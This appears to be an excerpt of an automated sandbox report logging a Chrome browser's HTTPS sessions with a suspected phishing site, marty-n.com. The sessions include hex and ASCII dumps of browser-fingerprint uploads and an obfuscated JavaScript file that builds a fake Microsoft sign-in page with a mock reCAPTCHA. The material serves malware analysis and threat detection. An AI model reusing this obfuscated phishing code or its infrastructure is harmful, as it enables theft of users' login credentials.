2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 25 32 43 25 32 32 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 6e 75 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 65 64 69 61 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e Data Ascii: %2C%22HTMLMenuElement%22%3A%22function+HTMLMenuElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMediaElement%22%3A%22function+HTMLMediaElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMarqueeElement%22%3A%22function+HTMLMarqueeElement%28%29+%7B+%5Bn
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 6c 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 53 69 67 6e 61 6c 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 6f 66 66 73 63 72 65 65 6e 42 75 66 66 65 72 69 6e 67 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 57 65 62 41 73 73 65 6d 62 6c 79 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 57 65 62 41 73 73 65 6d 62 6c 79 25 35 44 25 32 32 25 32 43 25 32 32 41 62 73 6f 6c 75 74 65 Data Ascii: l%22%3A%22function+AbortSignal%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22AbortController%22%3A%22function+AbortController%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22offscreenBuffering%22%3Atrue%2C%22WebAssembly%22%3A%22%5Bobject+WebAssembly%5D%22%2C%22Absolute
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 63 74 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 50 61 63 6b 65 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 49 73 6f 63 68 72 6f 6e 6f 75 73 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 6c 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 55 53 42 4f 75 74 54 72 61 6e 73 66 65 72 52 65 73 75 Data Ascii: ction+USBIsochronousOutTransferPacket%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBIsochronousOutTransferResult%22%3A%22function+USBIsochronousOutTransferResult%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22USBOutTransferResult%22%3A%22function+USBOutTransferResu
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 69 6f 53 6f 75 72 63 65 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 41 75 64 69 6f 44 65 73 74 69 6e 61 74 69 6f 6e 4e 6f 64 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 74 72 65 61 6d 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 48 61 6e 64 6c 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 53 6f 75 72 63 65 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 52 65 63 6f 72 64 65 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 51 75 65 72 79 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 4c 69 73 74 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 72 72 6f 72 25 32 32 25 32 43 25 32 32 4d 65 64 69 61 45 6e 63 72 79 70 74 65 64 45 76 65 6e Data Ascii: ioSourceNode%22%2C%22MediaStreamAudioDestinationNode%22%2C%22MediaStream%22%2C%22MediaSourceHandle%22%2C%22MediaSource%22%2C%22MediaRecorder%22%2C%22MediaQueryListEvent%22%2C%22MediaQueryList%22%2C%22MediaList%22%2C%22MediaError%22%2C%22MediaEncryptedEven
2024-10-25 20:08:02 UTC	16384	OUT	Data Raw: 32 32 6f 6e 63 6f 6e 74 65 6e 74 76 69 73 69 62 69 6c 69 74 79 61 75 74 6f 73 74 61 74 65 63 68 61 6e 67 65 25 32 32 25 32 43 25 32 32 6f 6e 73 63 72 6f 6c 6c 65 6e 64 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 50 6c 61 79 62 61 63 6b 45 76 65 6e 74 25 32 32 25 32 43 25 32 32 41 6e 69 6d 61 74 69 6f 6e 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 43 53 53 41 6e 69 6d 61 74 69 6f 6e 25 32 32 25 32 43 25 32 32 43 53 53 54 72 61 6e 73 69 74 69 6f 6e 25 32 32 25 32 43 25 32 32 44 6f 63 75 6d 65 6e 74 54 69 6d 65 6c 69 6e 65 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 4d 61 6e 61 67 65 72 25 32 32 25 32 43 25 32 32 42 61 63 6b 67 72 6f 75 6e 64 46 65 74 63 68 52 65 63 6f 72 64 25 32 32 25 32 43 25 32 32 42 61 63 6b Data Ascii: 22oncontentvisibilityautostatechange%22%2C%22onscrollend%22%2C%22AnimationPlaybackEvent%22%2C%22AnimationTimeline%22%2C%22CSSAnimation%22%2C%22CSSTransition%22%2C%22DocumentTimeline%22%2C%22BackgroundFetchManager%22%2C%22BackgroundFetchRecord%22%2C%22Back
2024-10-25 20:08:02 UTC	8115	OUT	Data Raw: 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 43 44 41 54 41 53 65 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 43 44 41 54 41 53 65 63 74 69 6f 6e 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 65 61 74 65 43 6f 6d 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 63 72 Data Ascii: 7B+%5Bnative+code%5D+%7D%22%2C%22createCDATASection%22%3A%22function+createCDATASection%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createComment%22%3A%22function+createComment%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22createDocumentFragment%22%3A%22function+cr
2024-10-25 20:08:03 UTC	178	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:02 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Content-Length: 366 Content-Type: text/html; charset=UTF-8
2024-10-25 20:08:03 UTC	366	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 27 68 74 6d 6c 27 20 73 74 69 3d 27 56 6c 5a 4f 52 6c 56 71 52 54 46 4e 52 47 74 35 54 55 52 4a 4d 46 5a 55 52 58 64 4e 52 47 74 34 54 6c 52 46 64 77 3d 3d 27 20 76 69 63 3d 27 27 20 6c 61 6e 67 3d 27 65 6e 27 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 6f 63 6b 65 74 2e 69 6f 2f 34 2e 37 2e 35 2f 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 27 20 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 32 68 75 61 5a 76 4f 52 39 69 44 7a 48 71 73 6c 71 77 70 52 38 37 69 73 45 6d 72 66 78 71 79 57 4f 46 37 68 72 37 42 59 36 4b 47 30 2b 68 56 4b 4c 6f 45 58 4d 50 55 4a 77 33 79 6e 57 75 68 4f 27 20 63 72 Data Ascii: <!DOCTYPE html><html id='html' sti='VlZORlVqRTFNRGt5TURJMFZURXdNRGt4TlRFdw==' vic='' lang='en'><head> <script src='https://cdn.socket.io/4.7.5/socket.io.min.js' integrity='sha384-2huaZvOR9iDzHqslqwpR87isEmrfxqyWOF7hr7BY6KG0+hVKLoEXMPUJw3ynWuhO' cr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49721	185.45.66.155	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:03 UTC	592	OUT	GET /o/jsnom.js HTTP/1.1 Host: marty-n.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:03 UTC	284	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 20:08:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 30 Sep 2024 10:56:37 GMT ETag: "73b0b0c-1877d-623540f1918c2" Accept-Ranges: bytes Content-Length: 100221 Content-Type: application/javascript
2024-10-25 20:08:03 UTC	7908	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 20 7b 20 63 6f 6e 73 74 20 5f 30 78 35 39 65 62 30 35 20 3d 20 5f 30 78 35 39 65 62 28 29 3b 20 72 65 74 75 72 6e 20 5f 30 78 31 66 61 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 66 61 65 35 39 2c 20 5f 30 78 33 39 31 66 64 35 29 20 7b 20 5f 30 78 31 66 61 65 35 39 20 3d 20 5f 30 78 31 66 61 65 35 39 20 2d 20 30 78 65 61 3b 20 6c 65 74 20 5f 30 78 63 62 63 31 36 39 20 3d 20 5f 30 78 35 39 65 62 30 35 5b 5f 30 78 31 66 61 65 35 39 5d 3b 20 72 65 74 75 72 6e 20 5f 30 78 63 62 63 31 36 39 3b 20 7d 2c 20 5f 30 78 31 66 61 65 28 5f 30 78 33 34 62 61 31 39 2c 20 5f 30 78 35 39 38 62 31 38 29 3b 20 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 Data Ascii: function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 74 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 5c 78 32 30 61 75 74 6f 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 61 75 74 6f 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 30 25 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 Data Ascii: te;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-left:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-right:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20height:\x20auto;\x0a\x20\x20\x20\x20\x20\x20\x20\x20margin-top:\x200%;\x0a\x20\x20\x20\x20\x20\x20\x2
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 69 6e 67 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 6f 72 64 2d 73 70 61 63 69 6e 67 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 61 70 70 65 61 72 61 6e 63 65 3a 5c 78 32 30 74 65 78 74 66 69 65 6c 64 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 5c 78 32 30 2d 69 6e 74 65 72 6e 61 6c 2d 6c 69 67 68 74 2d 64 61 72 6b 28 72 67 62 28 32 35 35 2c 5c 78 32 30 32 35 35 2c 5c 78 32 30 32 35 35 29 2c 5c 78 32 30 72 67 62 28 35 39 2c 5c 78 32 30 35 Data Ascii: ing:\x20normal;\x0a\x20\x20\x20\x20\x20\x20\x20\x20word-spacing:\x20normal;\x0a\x20\x20\x20\x20\x20\x20\x20\x20appearance:\x20textfield;\x0a\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20-internal-light-dark(rgb(255,\x20255,\x20255),\x20rgb(59,\x205
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 73 68 72 69 6e 6b 6d 65 6e 75 31 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 6e 65 77 31 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 20\x0a\x20\x20\x20\x20.shrinkmenu1\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20cursor:\x20pointer;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.new1\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20cursor:\x20pointer;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 32 30 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 61 6e 69 6d 61 74 69 6f 6e 3a 5c 78 32 30 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 2d 62 65 66 6f 72 65 5c 78 32 30 32 73 5c 78 32 30 69 6e 66 69 6e 69 74 65 5c 78 32 30 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 3a 61 66 74 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 2d 31 32 70 78 3b 5c Data Ascii: 20ease-in-out;\x0a\x20\x20\x20\x20\x20\x20\x20\x20animation:\x20dot-floating-before\x202s\x20infinite\x20ease-in-out;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.dot-floating::after\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20left:\x20-12px;\
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 78 32 30 2e 63 68 65 63 6b 62 6f 78 2d 77 72 61 70 70 65 72 2d 34 33 5c 78 32 30 69 6e 70 75 74 5b 74 79 70 65 3d 5c 78 32 32 63 68 65 63 6b 62 6f 78 5c 78 32 32 5d 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 76 69 73 69 62 69 6c 69 74 79 3a 5c 78 32 30 68 69 64 64 65 6e 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 63 68 65 63 6b 62 6f 78 2d 77 72 61 70 70 65 72 2d 34 33 5c 78 32 Data Ascii: x20.checkbox-wrapper-43\x20input[type=\x22checkbox\x22]\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20display:\x20none;\x0a\x20\x20\x20\x20\x20\x20\x20\x20visibility:\x20hidden;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20.checkbox-wrapper-43\x2
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 69 73 70 6c 61 79 3a 5c 78 32 30 62 6c 6f 63 6b 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 2e 73 69 64 65 42 61 72 3e 69 6d 67 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 3a 5c 78 32 30 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20.sideBar>img\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x2010px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 72 65 73 65 6e 74 61 74 69 6f 6e 5c 78 32 32 5c 78 32 30 70 6e 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 37 63 63 30 39 36 64 61 36 61 61 32 64 62 61 33 66 38 31 66 63 63 31 63 38 32 36 32 31 35 37 63 2e 70 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 Data Ascii: resentation\x22\x20pngsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.png\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 61 74 61 2d 62 69 6e 64 3d 5c 78 32 32 69 6d 67 53 72 63 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20data-bind=\x22imgSrc\x22\x20src=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20
2024-10-25 20:08:03 UTC	8000	IN	Data Raw: 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 3c 69 6e 70 75 74 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 72 65 63 61 70 74 63 68 61 63 68 65 63 6b 62 6f 78 5c 78 32 32 5c 78 32 30 74 79 70 65 3d 5c 78 32 32 63 68 65 63 6b 62 6f 78 5c 78 32 32 5c 78 32 30 6e 61 6d 65 3d 5c 78 32 32 5c 78 32 32 5c 78 32 30 69 64 3d 5c 78 32 32 5c 78 32 32 3e 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 72 65 63 61 70 74 63 68 61 73 75 62 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 Data Ascii: \x20\x20...\x20<input\x20class=\x22recaptchacheckbox\x22\x20type=\x22checkbox\x22\x20name=\x22\x22\x20id=\x22\x22>\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22recaptchasub\x22>\x0a\x20\x20\x20\x20\x20\x20\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49722	18.245.31.78	443	5640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 20:08:04 UTC	556	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://marty-n.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://marty-n.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 20:08:04 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Sat, 03 Aug 2024 07:26:50 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::4xmtd-1722670010047-e30d468233ba X-Cache: Hit from cloudfront Via: 1.1 7e3b2ebcc561cb84cf59a80a76eb7e28.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: CivZssbN-zSV0x74L-gQG4I4ZmiCBnbeeBnEmNIKlLahkAuZYAeMig== Age: 7594275
